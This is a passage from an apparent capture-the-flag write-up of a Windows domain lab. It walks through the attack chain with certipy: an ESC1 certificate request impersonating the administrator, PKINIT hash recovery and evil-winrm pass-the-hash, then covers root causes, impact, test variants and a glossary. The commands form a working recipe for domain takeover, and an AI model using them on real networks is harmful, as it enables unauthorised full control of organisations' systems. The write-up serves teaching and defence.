echo "<base64>"prints the Base64 text of the ticket.| base64 -ddecodes it back into binary.> svc-iisweb.kirbisaves the binary ticket to a file.ticketConverter.py svc-iisweb.kirbi svc-iisweb.ccacheconverts it from the Windows format (kirbi) to the Linux format (ccache).export KRB5CCNAME=$(pwd)/svc-iisweb.ccachetells Linux tools where to find the ticket.klistlists the tickets in that file, confirming a valid TGT.
Why this step: Linux tools such as certipy read the Linux ticket format, so the Windows ticket has to be converted first.
Step 8: Enumerating with Certipy
certipy find -k -no-pass \ -u [redacted] \ -dc-ip [redacted] \ -target srv01.[redacted] \ -vulnerable
Line by line:
certipy findasks certipy to look for certificate templates and report on them.-kmeans use the Kerberos ticket we imported instead of a password.-no-passmeans do not prompt for a password.-u [redacted]is the account to act as.-dc-ip [redacted]is the Domain Controller's address.-target srv01.[redacted]is the machine to query.-vulnerableasks it to show only the vulnerable findings.
One gotcha: -target expects the DC's hostname (used to build the ldap/srv01.[redacted] SPN), not the domain name. An SPN is a service principal name, the label a service uses in Kerberos. Using -target [redacted] initially caused an LDAP invalidCredentials bind error even with a perfectly valid ticket. In plain words, the ticket was fine, but it was being presented to the wrong name.
Result:
Template Name : PrivClientAuthEnrollee Supplies Subject : TrueClient Authentication : True[+] User Enrollable Principals : RUBBERSTAMP.LOCAL\Domain Users[!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication.
Line by line:
Template Name : PrivClientAuthis the name of a certificate template, a recipe for issuing certificates.Enrollee Supplies Subject : Truemeans the person asking for the certificate can choose whose name goes on it.Client Authentication : Truemeans the certificate can be used to log in.[+] User Enrollable Principals : RUBBERSTAMP.LOCAL\Domain Usersmeans every ordinary domain user can request one.[!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication.is the warning: this combination is dangerous.
The CA also showed ESC8 (HTTP Web Enrollment enabled), but ESC1 was the more direct path. ESC8 is a different certificate weakness involving a web enrolment page; ESC1 was simpler here.
Step 9: Exploiting ESC1
The PrivClientAuth template let any domain user (Domain Users, which includes svc-iisweb) do two dangerous things at once:
- supply their own subject/SAN when requesting a certificate (
EnrolleeSuppliesSubject) - get a certificate valid for client authentication
A SAN is the subject alternative name, the field on a certificate that says who it belongs to. That combination is the definition of ESC1: you can request a certificate claiming to be anyone, including a Domain Admin. It is like a form that lets you write any name in the "this ID belongs to" box, and the clerk stamps it without checking.
Request a certificate impersonating the Administrator:
certipy req -k -no-pass \ -u [redacted] \ -dc-ip [redacted] \ -dc-host srv01.[redacted] \ -target srv01.[redacted] \ -ca rubberstamp-SRV01-CA \ -template PrivClientAuth \ -upn [redacted]
Line by line:
certipy reqasks certipy to request a certificate.-k -no-passuses the Kerberos ticket, no password.-u [redacted]is the account making the request.-dc-host srv01.[redacted]is the Domain Controller's hostname.-target srv01.[redacted]is the machine to talk to.-ca rubberstamp-SRV01-CAis the certificate authority to ask.-template PrivClientAuthis the template to use.-upn [redacted]is the name to put on the certificate: the administrator.
A UPN is a user principal name, the name@domain form of a login. This produced administrator.pfx. A PFX is a file holding a certificate together with its private key, the secret half that proves you own it.
Exchange it for an NTLM hash via PKINIT:
certipy auth \ -pfx administrator.pfx \ -dc-ip [redacted] \ -username administrator \ -domain [redacted]
Line by line:
certipy authasks certipy to log in using a certificate.-pfx administrator.pfxis the certificate file.-username administratoris the account to log in as.-domain [redacted]is the domain.
PKINIT is the Kerberos feature that lets you log in with a certificate instead of a password. The result:
Got hash for '[redacted]':[redacted]:<REDACTED>
Line by line:
Got hash for '[redacted]'means the login succeeded and the tool recovered the account's password hash.[redacted]is the first half of the hash, which is a well-known constant in this format.<REDACTED>is the second half, the actual secret, hidden here.
Pass the hash:
evil-winrm -i [redacted] -u administrator -H <REDACTED>
Line by line:
evil-winrmis a tool that opens a remote PowerShell session on Windows.-i [redacted]is the target address.-u administratoris the account.-H <REDACTED>is the password hash, used directly instead of a password.
That gave full Administrator access on the Domain Controller. The root flag was in C:\Users\Administrator\Desktop\root.txt:
Go find it yourself
That is the marker file proving the highest level was reached.
Root cause
Three separate mistakes stack up:
- A debug error handler left in production.
Application_ErrorinGlobal.asaxwrites themachineKey(validation key, decryption key and algorithm) into the response whenever an error occurs on a/legacy/path with?debug=true. The backup copyglobal.asax.bakwas also publicly readable, which disclosed the handler's existence and behaviour before anyone triggered it. - A SQL injection in the legacy page. The
idparameter is concatenated into a query, so a single quote breaks it. Here the injection is the trigger for the error handler rather than the main exploit. - A dangerous certificate template.
PrivClientAuthallows enrollees to supply their own subject and permits client authentication, andDomain Userscan enrol. That is ESC1.
Existing defences did not stop the chain. An ASP.NET generic WAF was present and made sqlmap unreliable here. The leaked machineKey allowed forging ViewState for the legacy page. On the AD CS side, the CA was co-hosted on the DC.
Impact
An unauthenticated attacker who can reach the web application can leak the machineKey and forge a __VIEWSTATE that executes code as the IIS application pool identity, here rubberstamp\svc-iisweb. From that foothold, the Certificate Service DCOM Access group membership pointed to AD CS, and the PrivClientAuth template allowed requesting a certificate as [redacted]. Exchanging that certificate via PKINIT yielded the Administrator NTLM hash, and pass-the-hash gave full control of the Domain Controller. The result is complete domain compromise starting from a web-facing information disclosure.
In plain words: someone who could reach the website, with no login at all, could end up running the whole Windows network.
Fix
Variants to test
- Backup and source files in the web root. Request
global.asax.bak,web.config.bak,.old,.zipand similar. A positive result is a readable file containing keys, connection strings or handler logic. - Debug error handlers. Append
?debug=true(or similar flags found in leaked source) to error-triggering requests on legacy paths. A positive result is a stack trace or key material in the response. - ViewState forgery with derived keys. When a
machineKeyis known, derive page-specific keys with SP800-108 and sign aysoserial.netpayload. A positive result is anInvalidCastExceptionmentioningSortedSetandPair, or an outbound callback. - AD CS template enumeration. Run
certipy find -vulnerablewith any domain user's ticket. A positive result is a template withEnrollee Supplies Subject: TrueandClient Authentication: TruethatDomain Userscan enrol in. - Ticket export without elevation. Try
Rubeus.exe tgtdeleg /nowrapwhendumpreturns an all-zero session key. A positive result is a TGT thatklistaccepts and thatcertipycan use with-k -no-pass.
Glossary
- AD CS: Active Directory Certificate Services, the Windows system that issues digital certificates.
- AES-CBC: A standard encryption mode that scrambles data in blocks, using an initialisation vector.
- ASP.NET: Microsoft's framework for building web applications.
- Authenticator: The part of a Kerberos request that proves the ticket really belongs to you.
- Base64: A way of writing binary data using only letters, digits and a few symbols, so it can travel as text.
- BinaryFormatter: The .NET component that turns stored bytes back into objects.
- CA: Certificate Authority, the system that issues and signs certificates.
- ccache: The Linux file format for storing Kerberos tickets.
- Certificate: A digital ID card signed by a trusted authority, used to prove identity.
- certipy: A tool for finding and exploiting AD CS weaknesses from Linux.
- certutil: A built-in Windows command for certificate tasks.
- Ciphertext: Data after encryption, unreadable without the key.
- curl: A command-line tool that fetches URLs.
- Database: An organised store of records that a web application can query.
- DC (Domain Controller): The server that runs Active Directory and handles logins.
- Deserialisation: Turning stored bytes back into live objects in memory.
- Domain: A group of Windows machines and accounts managed together.
- ESC1: A certificate template weakness where the requester can choose the subject and the certificate can be used to log in.
- ESC8: A certificate weakness involving HTTP web enrolment.
- evil-winrm: A tool that opens a remote PowerShell session on Windows.
- feroxbuster: A tool that tries common file and folder names against a website.
- ffuf: A fuzzer that sends many requests with different values and reports differences.
- Flag: A marker file placed on a practice machine to prove you reached a level.
- Global.asax: ASP.NET's application-level event handler file.
- Hash: A one-way fingerprint of a password.
- HMAC: A message authentication code, a cryptographic seal proving data was not changed.
- IIS: Microsoft's web server software.
- Insecure deserialisation: Turning attacker-controlled bytes into objects, which can run code.
- IV (initialisation vector): A random value used alongside a key in some encryption modes.
- katana: A web crawler that follows links and lists what it finds.
- KDF: Key derivation function, a recipe that turns one key into another.
- Kerberos: The Windows login system based on tickets.
- kirbi: The Windows file format for storing Kerberos tickets.
- klist: A command that lists Kerberos tickets.
- krbtgt: The special account behind the domain's master ticket.
- LDAP: The protocol for looking things up in a directory such as Active Directory.
- machineKey: The ASP.NET key used to sign and encrypt ViewState and other data.
- MAC: Message authentication code, the cryptographic seal on data.
- nc (netcat): A simple tool that can listen on or connect to a port.
- nmap: A port scanner.
- nuclei: A scanner that runs ready-made checks against a target.
- NTLM hash: The Windows password hash format used for pass-the-hash.
- Parameter: The part of a URL after a question mark that passes a value to the page.
- Pass-the-hash: Logging in with a password hash instead of the password.
- PFX: A file holding a certificate and its private key.
- PKINIT: The Kerberos feature that lets you log in with a certificate.
- Port: A numbered door on a server that a service listens on.
- PowerShell: Windows' scripting shell.
- RCE: Remote code execution, running your own code on someone else's machine.
- RDP: Remote Desktop Protocol, Windows' remote screen access.
- Reverse shell: A shell where the target connects back to the attacker.
- Rubeus: A Windows tool for working with Kerberos tickets.
- SAN: Subject alternative name, the field on a certificate saying who it belongs to.
- Shell: A way to type commands on a remote machine and see the output.
- SMB: Windows file sharing protocol.
- SP800-108: A standard recipe for deriving keys from a master key.
- SPN: Service principal name, the label a service uses in Kerberos.
- SQL: The language used to query databases.
- SQL injection: Tricking a page into running your own SQL by gluing input into a query.
- SSPI: The Windows interface programs use to talk to security providers.
- TGS-REQ: A Kerberos request for a ticket to a specific service.
- TGT: The first Kerberos ticket you get at login, used to ask for others.
- Ticket: A Kerberos credential proving you logged in, shown to services instead of a password.
- TypeConfuseDelegate: A known .NET gadget recipe that runs a command during deserialisation.
- UPN: User principal name, the
name@domainform of a login. - ViewState: The ASP.NET hidden field that carries page state between requests.
- VLQ: Variable-length quantity, a compact way of writing lengths in binary data.
- WAF: Web Application Firewall, a filter that inspects and blocks suspicious requests.
- whoami: A command that prints the current account name.
- ysoserial.net: A tool that builds .NET payloads for deserialisation attacks.